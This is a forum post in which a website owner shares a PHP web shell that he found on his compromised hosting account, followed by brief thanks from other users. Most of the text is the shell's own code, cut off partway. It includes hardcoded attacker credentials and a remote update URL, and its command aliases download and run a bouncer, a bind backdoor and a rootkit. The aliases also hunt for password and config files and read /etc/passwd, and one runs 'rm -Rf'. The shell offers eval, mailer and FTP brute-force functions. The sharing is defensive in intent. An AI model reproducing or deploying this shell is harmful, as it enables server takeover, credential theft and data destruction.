Phising attack

Hi, My web hosting was recently attack and in the cleanup I located this script. Thought you might be interested in it. You may have seen it already or it may not apply but that is for you to decide. My hosting provider stated that the IP went back to a black hole server so they could not track it any farther.

Here is the code the file was called xml_mysql.php

<?php ##[ URL ]## #$sh_mainurl = "http://byz9991.t35.com/shell/"; $sh_mainurl = 'http://byz9991.t35.com/2010/'; $COLUMBUS_updateurl = $sh_mainurl."byz_update.php"; $COLUMBUS_sourcesurl = $sh_mainurl."byz.txt"; $sh_sourcez = array( "--==[byz WebShell]==--" => array($sh_mainurl."shell/cyberz.txt","byz.php"), "psyBNC" => array($sh_mainurl."toolz/fx.tgz","fx.tgz"), "Eggdrop" => array($sh_mainurl."toolz/fxb.tgz","fxb.tgz"), "BindDoor" => array($sh_mainurl."toolz/bind.tgz","bind.tgz"), ); ##[ AUTHENTICATION ]## $auth = array( "login" => "zeany", "pass" => "zefa", "md5pass" => "", "hostallow" => array("*"), "denied" => "<a href=\"$sh_mainurl\">".sh_name()."</a>: access denied!", ); ##[ ADVANCED ]## $tmp_dir = ""; $log_email = "byz9991jatimcrew######################"; $sess_cookie = "byzcookies"; $sort_default = "0a"; $sort_save = TRUE; $copy_unset = FALSE; $gzipencode = TRUE; $filestealth = TRUE; $hexdump_lines = 8; $hexdump_rows = 24; $auto_surl = TRUE; ##[ QUICK COMMANDS ]## if (!is_windows()) { $cmdaliases = array( array("List Directory", "ls -al"), array("Find all suid files", "find / -type f -perm -04000 -ls"), array("Find suid files in current dir", "find . -type f -perm -04000 -ls"), array("Find all sgid files", "find / -type f -perm -02000 -ls"), array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"), array("Find config.inc.php files", "find / -type f -name config.inc.php"), array("Find config* files", "find / -type f -name \"config*\""), array("Find config* files in current dir", "find . -type f -name \"config*\""), array("Find all writable folders and files", "find / -perm -2 -ls"), array("Find all writable folders and files in current dir", "find . -perm -2 -ls"), array("Find all writable folders", "find / -type d -perm -2 -ls"), array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"), array("Find all service.pwd files", "find / -type f -name service.pwd"), array("Find service.pwd files in current dir", "find . -type f -name service.pwd"), array("Find all .htpasswd files", "find / -type f -name .htpasswd"), array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"), array("Find all .bash_history files", "find / -type f -name .bash_history"), array("Find .bash_history files in current dir", "find . -type f -name .bash_history"), array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), array("List file attributes on a Linux second extended file system", "lsattr -va"), array("Show opened ports", "netstat -an | grep -i listen"), array("-----",""), array("Logged in users","w"), array("Last connect","lastlog"), array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"), array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"), array("Inet Address","/sbin/ifconfig | grep inet"), array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"), array("Downloaders?","which wget curl w3m lynx fetch lwp-download"), array("CPU Info","cat /proc/version /proc/cpuinfo"), array("Is gcc installed ?","locate gcc"), array("Format box (DANGEROUS)","rm -Rf"), array("-----",""), array("wget & run psyBNC","wget ".$sh_sourcez["psyBNC"][0].";tar -zxf ".$sh_sourcez["psyBNC"][1].";cd .fx;./config 29110;./########;./run"), array("wget & extract EggDrop","wget ".$sh_sourcez["Eggdrop"][0].";tar -zxf ".$sh_sourcez["psyBNC"][1]), array("wget & run BindDoor","wget ".$sh_sourcez["BindDoor"][0].";tar -zxvf ".$sh_sourcez["BindDoor"][1].";./bind"), array("-----",""), array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"), ); } else { #Windows $cmdaliases = array( array("List Directory", "dir"), array("Find index.php in current dir", "dir /s /w /b index.php"), array("Find *config*.php in current dir", "dir /s /w /b *config*.php"), array("Find c99shell in current dir", "find /c \"c99\" *"), array("Find r57shell in current dir", "find /c \"r57\" *"), array("Find fx29shell in current dir", "find /c \"fx29\" *"), array("Show active connections", "netstat -an"), array("Show running services", "net start"), array("User accounts", "net user"), array("Show computers", "net view"), ); } ##[ PHP FILESYSTEM (By -==[COLUMBUS]==--) ]## $phpfsaliases = array( array("Read File", "read", 1, "File", ""), array("Write File (PHP5)", "write", 2, "File","Text"), array("Copy", "copy", 2, "From", "To"), array("Rename/Move", "rename", 2, "File", "To"), array("Delete", "delete", 1 ,"File", ""), array("Make Dir","mkdir", 1, "Dir", ""), array("Download", "download", 2, "URL", "To"), array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"), array("Change Perm (0755)", "chmod", 2, "File", "Perms"), array("Find Writable Dir", "fwritabledir", 2 ,"Dir", "Max"), array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"), ); if ( !function_exists("posix_getpwuid") ) { function posix_getpwuid($uid) { return FALSE; } } if ( !function_exists("posix_getgrgid") ) { function posix_getgrgid($gid) { return FALSE; } } if ( !function_exists("posix_kill") ) { function posix_kill($gid) { return FALSE; } } ############################# ##[ END OF CONFIGURATIONS ]## ############################# @set_time_limit(0); @ini_set("max_execution_time", 0); @ignore_user_abort(TRUE); @set_magic_quotes_runtime(0); if ( get_magic_quotes_gpc() ) strips($GLOBALS); $_REQUEST = array_merge($_COOKIE, $_GET, $_POST); $d = @$_REQUEST["d"]; $f = @$_REQUEST["f"]; @extract($_REQUEST["COLUMBUScook"]); foreach ($_REQUEST as $k => $v) { if ( !isset($$k) ) { $$k = $v; } } ##[ SELF URL ]## if ( $auto_surl ) { $include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) { $v = explode("=",$v); $name = urldecode($v[0]); $value = @urldecode($v[1]); $needles = array("http://","https://","ssl://","ftp://","\\\\"); foreach ($needles as $needle) { if ( strpos($value, $needle) === 0 ) { $includestr .= urlencode($name)."=".urlencode($value)."&"; } } } } if ( empty($surl) ) $surl = htmlspecialchars("?".@$includestr); $img_tag = '<img src="'.$surl.'act=img&img='; ##[ QUICK LAUNCH ]## $quicklaunch = array( array($img_tag."home\" alt=\"Home\">",$surl), array($img_tag."back\" alt=\"Back\">","#\" onclick=\"history.back(1)"), array($img_tag."forward\" alt=\"Forward\">","#\" onclick=\"history.go(1)"), array($img_tag."up\" alt=\"Up\">",$surl."act=ls&d=%upd&sort=%sort"), array($img_tag."search\" alt=\"Search\">",$surl."act=search&d=%d"), array($img_tag."buffer\" alt=\"Buffer\">",$surl."act=fsbuff&d=%d"), array($img_tag."help\" alt=\"About\">",$surl."act=about"), array("-",""), array("Security",$surl."act=security&d=%d"), array("Processes",$surl."act=processes&d=%d"), array("MySQL",$surl."act=sql&d=%d"), array("Eval",$surl."act=eval&d=%d"), array("Encoder",$surl."act=encoder&d=%d"), array("Mailer",$surl."act=fxmailer"), array("Toolz",$surl."act=tools&d=%d"), array("milw0rm",milw0rm()), array("Images",$surl."act=img&img=listall"), array("Feedback",$surl."act=feedback"), array("Update",$surl."act=update"), array("Kill Shell",$surl."act=selfremove") ); if ( !is_windows() ) $quicklaunch[] = array("<br>FTP Brute",$surl."act=ftpquickbrute&d=%d"); ##[ FILE TYPES ]## $ftypes = array( "html" => array("html","htm","shtml"), "txt" => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), "exe" => array("sh","install","bat","cmd","sys","com"), "ini" => array("ini","inf","c 1 --------------------------------------------------------------------------- I sure hope this help you out. A note to say you got this will be fine otherwise I don't need to hear back unless you like, need more info, or I need to change something. Thanks , Mark :smile:

Thanks for passing it on.

Any time Doc, Glad to help any way I can. Let me know if I can do more.:smile: